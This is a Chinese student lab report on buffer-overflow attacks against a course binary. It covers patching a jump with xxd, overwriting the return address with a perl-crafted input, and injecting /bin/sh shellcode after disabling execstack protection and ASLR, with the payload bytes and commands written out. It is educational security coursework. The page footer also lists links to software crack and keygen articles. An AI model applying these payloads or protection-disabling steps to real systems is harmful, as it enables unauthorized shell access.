首页 > 其他分享 >#20222309 2024-2025-1 《网络与系统攻防技术》实验一实验报告

#20222309 2024-2025-1 《网络与系统攻防技术》实验一实验报告

时间:2024-10-09 22:50:18浏览次数:5  
标签:x90 sudo execstack 使用 2024 2025 20222309 input20222309 pwn20222309

1.实验内容

1、直接修改程序机器指令,改变程序执行流程
2、通过构造输入参数,造成BOF攻击,改变程序执行流
3、注入Shellcode并执行

2.实验过程

1、直接修改程序机器指令,改变程序执行流程

将pwn1改名为pwn20222309-1,并运行

打开文件

打开文件为乱码

按esc键,输入:%!xxd进入十六进制编辑模式,使用/e8 d7快速找到需要修改的地址

修改地址,将d7改成c3,然后使用:%!xxd -r转回原来乱码格式,并使用:wq命令保存退出

./pwn20222309-1运行进行结果检验
 

2、通过构造输入参数,造成BOF攻击,改变程序执行流

使用sudo apt update和sudo apt install gdb命令安装gdb


用gdb调试pwn20222309-2,输入1111111122222222333333334444444412345678

用info r查询eip的值,值为0x34333231

使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input命令构造一个11111111222222223333333344444444\x7d\x84\x04\x08的字符串写入文件input20222309,然后使用(cat input20222309;cat) | ./pwn20222309-2将input20222309中的字符串作为文件pwn20222309-2的输入验证结果

3、注入Shellcode并执行

使用命令wegt http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb 下载压缩包,然后使用sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb进行解压

通过execstack -s pwn20222211-3 ;execstack -q pwn20222211-3 ;more /proc/sys/kernel/randomize_va_space ;sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space" ;more /proc/sys/kernel/randomize_va_space修改设置

使用perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input20222309 和(cat input20222309; cat) | ./pwn20222309-2创建一个文件作为文件pwn20222309-2的输入

新打开一个终端,用ps -ef | grep pwn20222309-2查看文件号和进程号,得到前一个终端的进程进程号为16795

使用attach 16795查找刚刚的进程号,使用disassemble foo进行反编译分析,查到ret的地址为0x080484ae

用break *0x080484ae设置断点,然后输入c表示继续运行

回到原终端按enter使程序继续运行

再次回到新终端使用info r esp查看esp栈顶指针位置,并查看存放的内容

栈顶指针地址加4个字节即为shellcode的地址即为0xffffcf80,使用perl -e 'print "A" x 32;print "\x80\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input20222309,然后再输入(cat input20222309; cat) | ./pwn20222309-2,将input20222309的输入内容作为pwn20222309-2的输入

3.问题及解决方案

  • 问题1:下载execstack时无法直接用更新下载
  • 问题1解决方案:询问同学后发现apt上没有这个资源,然后使用wegt http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb下载压缩包然后进行解压从而得到execstack
  • 问题2:在进行execstack设置时,使用echo "0" > /proc/sys/kernel/randomize_va_space,结果没有权限,使用sudo也不行
  • 问题2解决方案:上网查询后,使用 sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space" 设置成功
  • 问题3:在查询上一个终端的进程号时发现只用一个进程号
  • 问题3解决方案:因为我在上一个终端运行文件时打了个回车,我以为没有退出去这个进程就还在进行,但是事实上这个进程已经结束,重新操作,不打回车,在新终端中就可以找到两个进程

4.学习感悟、思考等

这个实验遇到的困难主要来自于虚拟机的安装和使用,在最开始的安装就用了好几个小时,在后续使用中还出现了重启虚拟机之后无法出现可视化界面等,而且网上还出现了n种方法,一一尝试都无效,最后只能重装一遍虚拟机。而在实验中频繁出现的问题就是没有权限的问题,有时候用sudo也依旧没有权限,这时有些问题上网找到了解决方法,有些无法解决,结果虚拟机重启之后又好用了。所以实验的收获除了对linux语法的熟练、对反汇编和十六进制编程器有了初步的了解,以及初步掌握了反编译并修改可执行文件并学会进行bof攻击之外,最大的收获是对我耐心的磨练。

参考资料

标签:x90,sudo,execstack,使用,2024,2025,20222309,input20222309,pwn20222309
From: https://www.cnblogs.com/zhengyq/p/18455118

相关文章

  • coreldraw2024注册机和破解补丁百度网盘
    ###......
  • cdr2024序列号和密钥激活码cdr2024序列号和激活码是多少?
    ###......
  • js学习 -2024/10/9
    今天学习了js中的一些知识DOM通过document.get...函数获取元素对象可以查阅h3school资料找对象的函数,操作对象,//根据id获取元素对象//letid=document.getElementById('back');//id.src="../img/02.png";//根据标签获取元素对象vardivss=document.getElement......
  • 2024/10/9日 日志
    今天进行了离散数学中关于并包的知识,通过对之前关系内容的复习和今天知识的学习,对三种并包形式,即自反r,对称s,传递t的实现有了规律总结,即RIr即(如包含x,x),RIk即(如包含y,x),以及R*R+即(R+R2+R3+.....+Rn)。此外,在数据结构的学习中,继续学习了关于栈以及队列的内容,并对双栈公用的代码进行了实......
  • # 20222323 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    1.实验内容1、熟悉基本的汇编指令,如管道、输入、输出重定向2、掌握了栈与堆的概念3、掌握反汇编与十六进制编程器实验任务1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。3、......
  • 2024/10/09 模拟赛总结
    \(100+40+20+8=168\),拿到了大众分,至少没挂分吧#A.矩阵交换一个\(m\)维偏序,可以使用\(m-1\)维树状数组解决以第\(i\)作为第\(i\)关键字,进行排序,这样一定最优。排完之后直接判断是否满足条件即可//BLuemoon_#include<bits/stdc++.h>usingnamespacestd;consti......
  • ChatGPT国内中文版镜像网站整理合集(2024-10月最新)
    一、GPT中文镜像站① yixiaai.com 支持GPT4、4o、o1、文件上传、知识库,支持MJ绘画② chat.lify.vip 支持通用全模型,支持文件读取、插件、绘画、AIPPT③ AIChat 支持GPT3.5/4,4o以及MJ绘画1.什么是镜像站镜像站(MirrorSite)是指通过复制原始网站内容和结构,创建的备用......
  • 20222426 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    学号202224262024-2025-1《网络与系统攻防技术》实验一实验报告1.实验内容1.1NOP,JNE,JE,JMP,CMP汇编指令的机器码:1.1.1NOP(NoOperation)功能:NOP指令是一条空操作指令,它不做任何事情。执行NOP指令时,处理器的状态(如寄存器值、内存内容等)不会发生变化,只是简单地消耗了一......
  • 20222401 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    1.实验内容本次实验是关于缓冲区溢出攻击的,主要的学习内容如下:1.基本Linux命令objdump:将代码段反汇编,在这次实验中主要是用来找地址的。xxd:实现十六进制与二进制的转换,在这次实验的过程中,主要是有两个地方用到了这个命令。一是在打开文件后进行转换,而是以十六进制打开文件,保证......
  • 【笔记】杂题选讲 2024.10.5(DNF)
    十一杂题选讲-VirtualJudge(vjudge.net)/mnt/e/codes/contests/20241008/sol.md目录[AGC004F]Namori[1406E]DeletingNumbers[1081G]MergesortStrikesBack[1033E]HiddenBipartiteGraph[1254E]SendTreetoCharlie[1012E]Cyclesort[1284F]NewYearandSocialN......